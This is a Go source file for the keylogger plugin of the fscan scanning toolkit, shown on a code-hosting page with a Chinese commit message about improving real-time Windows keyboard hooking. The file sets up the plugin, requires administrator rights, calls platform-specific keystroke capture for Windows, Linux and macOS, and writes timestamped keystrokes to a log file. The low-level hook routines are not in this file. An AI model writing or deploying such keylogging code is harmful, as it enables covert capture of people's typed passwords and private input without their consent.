fscan/Plugins/local/keylogger/plugin.go
ZacharyZcR 42522df80c perf: 优化Windows键盘记录性能和实时输出
- 重构键盘Hook架构,采用事件驱动模式降低系统影响
- 实现真正的实时文件写入,支持按键立即同步到磁盘
- 优化Hook回调处理时间,立即调用CallNextHookEx确保系统响应
- 使用非阻塞事件通道避免键盘Hook阻塞系统
- 简化键码转换逻辑,提升按键处理性能
- 解决文件输出延迟问题,支持键盘记录过程中实时查看
- 分离平台实现,Windows平台使用高效实时写入模式
2025-08-11 09:36:49 +08:00

304 lines
8.7 KiB
Go
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

package keylogger
import (
"context"
"fmt"
"os"
"runtime"
"strings"
"sync"
"time"
"github.com/shadow1ng/fscan/common"
"github.com/shadow1ng/fscan/plugins/base"
"github.com/shadow1ng/fscan/plugins/local"
)
// KeyloggerPlugin 键盘记录插件 - 使用简化架构
type KeyloggerPlugin struct {
*local.BaseLocalPlugin
outputFile string
duration time.Duration
isRunning bool
stopChan chan struct{}
keyBuffer []string
bufferMutex sync.RWMutex
}
// NewKeyloggerPlugin 创建键盘记录插件 - 简化版本
func NewKeyloggerPlugin() *KeyloggerPlugin {
// 从全局参数获取配置
outputFile := common.KeyloggerOutputFile
if outputFile == "" {
outputFile = "keylog.txt" // 默认输出文件
}
duration := time.Duration(common.KeyloggerDuration) * time.Second
if duration <= 0 {
duration = 60 * time.Second // 默认记录60秒
}
metadata := &base.PluginMetadata{
Name: "keylogger",
Version: "1.0.0",
Author: "fscan-team",
Description: "跨平台键盘记录插件支持Windows、Linux和macOS系统的键盘输入捕获",
Category: "local",
Tags: []string{"local", "keylogger", "monitoring", "cross-platform"},
Protocols: []string{"local"},
}
plugin := &KeyloggerPlugin{
BaseLocalPlugin: local.NewBaseLocalPlugin(metadata),
outputFile: outputFile,
duration: duration,
stopChan: make(chan struct{}),
keyBuffer: make([]string, 0),
}
// 支持所有主要平台
plugin.SetPlatformSupport([]string{"windows", "linux", "darwin"})
// 需要管理员权限访问键盘输入
plugin.SetRequiresPrivileges(true)
return plugin
}
// Initialize 初始化插件
func (p *KeyloggerPlugin) Initialize() error {
common.LogInfo(fmt.Sprintf("初始化键盘记录插件 - 平台: %s", runtime.GOOS))
// 检查输出文件路径权限
if err := p.checkOutputFilePermissions(); err != nil {
return fmt.Errorf("输出文件权限检查失败: %v", err)
}
// 检查平台特定的权限和依赖
if err := p.checkPlatformRequirements(); err != nil {
return fmt.Errorf("平台要求检查失败: %v", err)
}
return p.BaseLocalPlugin.Initialize()
}
// Scan 重写扫描方法以确保调用正确的ScanLocal实现
func (p *KeyloggerPlugin) Scan(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
return p.ScanLocal(ctx, info)
}
// ScanLocal 执行键盘记录 - 简化版本
func (p *KeyloggerPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
common.LogBase("开始键盘记录...")
// 启动键盘记录
err := p.startKeylogging(ctx)
if err != nil {
return &base.ScanResult{
Success: false,
Error: err,
}, nil
}
result := &base.ScanResult{
Success: true,
Service: "Keylogger",
Banner: fmt.Sprintf("键盘记录已完成 - 输出文件: %s 平台: %s 记录时长: %v", p.outputFile, runtime.GOOS, p.duration),
Extra: map[string]interface{}{
"output_file": p.outputFile,
"platform": runtime.GOOS,
"duration": p.duration.String(),
"keys_captured": len(p.keyBuffer),
},
}
return result, nil
}
// startKeylogging 启动键盘记录
func (p *KeyloggerPlugin) startKeylogging(ctx context.Context) error {
p.isRunning = true
defer func() {
p.isRunning = false
}()
common.LogInfo(fmt.Sprintf("开始记录键盘输入,时长: %v输出文件: %s", p.duration, p.outputFile))
// 创建超时上下文
timeoutCtx, cancel := context.WithTimeout(ctx, p.duration)
defer cancel()
// 根据平台启动相应的键盘记录
var err error
switch runtime.GOOS {
case "windows":
err = p.startWindowsKeylogging(timeoutCtx)
case "linux":
err = p.startLinuxKeylogging(timeoutCtx)
case "darwin":
err = p.startDarwinKeylogging(timeoutCtx)
default:
err = fmt.Errorf("不支持的平台: %s", runtime.GOOS)
}
if err != nil {
return fmt.Errorf("键盘记录失败: %v", err)
}
// Windows平台已经实时写入文件其他平台保存到文件
if runtime.GOOS != "windows" {
if err := p.saveKeysToFile(); err != nil {
common.LogError(fmt.Sprintf("保存键盘记录失败: %v", err))
}
} else {
common.LogInfo("Windows平台已实时写入文件无需再次保存")
}
common.LogInfo(fmt.Sprintf("键盘记录完成,捕获了 %d 个键盘事件", len(p.keyBuffer)))
return nil
}
// checkOutputFilePermissions 检查输出文件权限
func (p *KeyloggerPlugin) checkOutputFilePermissions() error {
// 尝试创建或打开输出文件
file, err := os.OpenFile(p.outputFile, os.O_CREATE|os.O_WRONLY|os.O_APPEND, 0600)
if err != nil {
return fmt.Errorf("无法创建输出文件 %s: %v", p.outputFile, err)
}
file.Close()
return nil
}
// checkPlatformRequirements 检查平台特定要求
func (p *KeyloggerPlugin) checkPlatformRequirements() error {
switch runtime.GOOS {
case "windows":
return p.checkWindowsRequirements()
case "linux":
return p.checkLinuxRequirements()
case "darwin":
return p.checkDarwinRequirements()
default:
return fmt.Errorf("不支持的平台: %s", runtime.GOOS)
}
}
// addKeyToBuffer 添加按键到缓冲区
func (p *KeyloggerPlugin) addKeyToBuffer(key string) {
p.bufferMutex.Lock()
defer p.bufferMutex.Unlock()
timestamp := time.Now().Format("2006-01-02 15:04:05")
entry := fmt.Sprintf("[%s] %s", timestamp, key)
p.keyBuffer = append(p.keyBuffer, entry)
}
// saveKeysToFile 保存键盘记录到文件
func (p *KeyloggerPlugin) saveKeysToFile() error {
p.bufferMutex.RLock()
defer p.bufferMutex.RUnlock()
if len(p.keyBuffer) == 0 {
common.LogInfo("没有捕获到键盘输入")
return nil
}
file, err := os.OpenFile(p.outputFile, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, 0600)
if err != nil {
return fmt.Errorf("无法打开输出文件: %v", err)
}
defer file.Close()
// 写入头部信息
header := fmt.Sprintf("=== 键盘记录日志 ===\n")
header += fmt.Sprintf("开始时间: %s\n", time.Now().Add(-p.duration).Format("2006-01-02 15:04:05"))
header += fmt.Sprintf("结束时间: %s\n", time.Now().Format("2006-01-02 15:04:05"))
header += fmt.Sprintf("平台: %s\n", runtime.GOOS)
header += fmt.Sprintf("捕获事件数: %d\n", len(p.keyBuffer))
header += fmt.Sprintf("========================\n\n")
if _, err := file.WriteString(header); err != nil {
return fmt.Errorf("写入头部信息失败: %v", err)
}
// 写入键盘记录
for _, entry := range p.keyBuffer {
if _, err := file.WriteString(entry + "\n"); err != nil {
return fmt.Errorf("写入键盘记录失败: %v", err)
}
}
return nil
}
// GetLocalData 获取键盘记录本地数据
func (p *KeyloggerPlugin) GetLocalData(ctx context.Context) (map[string]interface{}, error) {
data := make(map[string]interface{})
data["plugin_type"] = "keylogger"
data["platform"] = runtime.GOOS
data["output_file"] = p.outputFile
data["duration"] = p.duration.String()
data["keys_captured"] = len(p.keyBuffer)
data["is_running"] = p.isRunning
if hostname, err := os.Hostname(); err == nil {
data["hostname"] = hostname
}
return data, nil
}
// ExtractData 提取数据
func (p *KeyloggerPlugin) ExtractData(ctx context.Context, info *common.HostInfo, data map[string]interface{}) (*base.ExploitResult, error) {
return &base.ExploitResult{
Success: true,
Output: fmt.Sprintf("键盘记录完成,捕获了 %d 个键盘事件,保存到: %s", len(p.keyBuffer), p.outputFile),
Data: data,
Extra: map[string]interface{}{
"output_file": p.outputFile,
"keys_captured": len(p.keyBuffer),
"platform": runtime.GOOS,
"duration": p.duration.String(),
"status": "completed",
},
}, nil
}
// GetInfo 获取插件信息
func (p *KeyloggerPlugin) GetInfo() string {
var info strings.Builder
info.WriteString("跨平台键盘记录插件\n")
info.WriteString(fmt.Sprintf("输出文件: %s\n", p.outputFile))
info.WriteString(fmt.Sprintf("记录时长: %v\n", p.duration))
info.WriteString("支持平台: Windows, Linux, macOS\n")
info.WriteString("功能: 捕获和记录键盘输入事件\n")
info.WriteString("要求: 管理员权限,平台特定的输入访问权限\n")
return info.String()
}
// RegisterKeyloggerPlugin 注册键盘记录插件
func RegisterKeyloggerPlugin() {
factory := base.NewSimplePluginFactory(
&base.PluginMetadata{
Name: "keylogger",
Version: "1.0.0",
Author: "fscan-team",
Description: "跨平台键盘记录插件支持Windows、Linux和macOS系统的键盘输入捕获",
Category: "local",
Tags: []string{"keylogger", "local", "monitoring", "cross-platform"},
Protocols: []string{"local"},
},
func() base.Plugin {
return NewKeyloggerPlugin()
},
)
base.GlobalPluginRegistry.Register("keylogger", factory)
}
// init 插件注册函数
func init() {
RegisterKeyloggerPlugin()
}